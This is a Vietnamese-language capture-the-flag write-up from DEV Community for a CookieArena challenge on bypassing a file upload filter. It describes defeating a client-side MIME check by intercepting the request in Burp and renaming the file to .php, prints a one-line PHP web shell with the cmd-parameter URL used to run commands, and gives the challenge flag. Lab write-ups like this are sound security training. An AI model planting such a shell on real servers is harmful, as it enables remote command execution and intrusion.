DEV Community

Cover image for Challenge: Upload File Path Traversal
tRavOndAtrACk
tRavOndAtrACk

Posted on

Challenge: Upload File Path Traversal

Link: https://battle.cookiearena.org/challenges/web/upload-file-path-traversal

You cannot execute a Web Shell in the current upload directory. Find a way to upload and execute

Tài liệu tham khảo
https://cookiearena.org/hoc-pentester/lo-hong-file-path-traversal/
https://portswigger.net/web-security/file-upload
https://portswigger.net/web-security/file-path-traversal

Check script

    <script>
    $(function() {
      // Handle the form submit event
      $('#uploadForm').submit(function(event) {
        // Prevent the default form submission
        event.preventDefault();

        // Get the form data
        let formData = new FormData(this);

        // Check the file type
        let file = formData.get('file');
        if (!file.type.match(/^image\/(jpeg|gif|png)$/)) {
          alert('Invalid file type');
          return;
        }

        // Submit the form data to upload.php
        $.ajax({
          url: 'upload.php',
          type: 'POST',
          data: formData,
          processData: false,
          contentType: false,
          success: function(data) {
            var data = jQuery.parseJSON(data);                        
            if (data.success) {
              // Create a list item for the uploaded file
              let fileList = '';
              fileList += '<p> <a href="' + data.file + '" target="_blank">' + data.file + '</a></p>';
              console.log('ok');
              console.log(fileList);

              // Update the file list
              $('#fileList').append(fileList);
            } else {
              // Handle the error
            }
          }
        });
      });
    });
    </script> 
Enter fullscreen mode Exit fullscreen mode

Image description

Dựa trên đoạn script và giao diện ban đầu thì có thể thấy có kiểm tra kiểu MIME của file, chỉ chấp nhận các định dạng: jpeg, gif, png.

Upload lên xem thử

Image description

Image description

Dùng Burp bắt

Đổi đuôi thành .php ==> có thể upload được file .php

Image description

Spam Payload Timeeeee!

Image description

Image description

==> Lẻn vào thành công

Image description

NOTE

Trong quá trình kiểm thử bảo mật ứng dụng web, một kỹ thuật phổ biến là tìm cách tải lên một file độc hại (malicious file) để thực thi mã từ phía máy chủ. Sau khi việc upload thành công, bước tiếp theo là sử dụng một payload PHP nhằm thực thi lệnh hệ thống từ xa (RCE - Remote Command Execution).

Ở đây mình dùng payload này:

<?php echo system($_GET['cmd']); ?>
Enter fullscreen mode Exit fullscreen mode

Payload này cho phép thực thi bất kỳ lệnh hệ thống nào được truyền qua URL dạng

http://<host>/<upload_path>/shell.php?cmd=ls
Enter fullscreen mode Exit fullscreen mode

Image description

Chúng ta sử dụng tham số cmd để thực thi chuỗi lệnh hệ thống thông qua URL:

?cmd=cd .. ;ls
Enter fullscreen mode Exit fullscreen mode

Image description

Đã thấy 2 file có khả năng chứa flag: flag.txtflagewpxH.txt. Giờ thì chỉ việc khui file này ra và lấy flag thui hẹ hẹ hẹ -.-
Payload: ?cmd=cd .. ;cat flagewpxH.txt

Image description

==> DONEEEE!
FLAG: CHH{uPl04d_vIA_P4tH_Trav3r54L_5687373208091ec49a924794b340ff97}


Top comments (2)

Some comments may only be visible to logged-in visitors. Sign in to view all comments.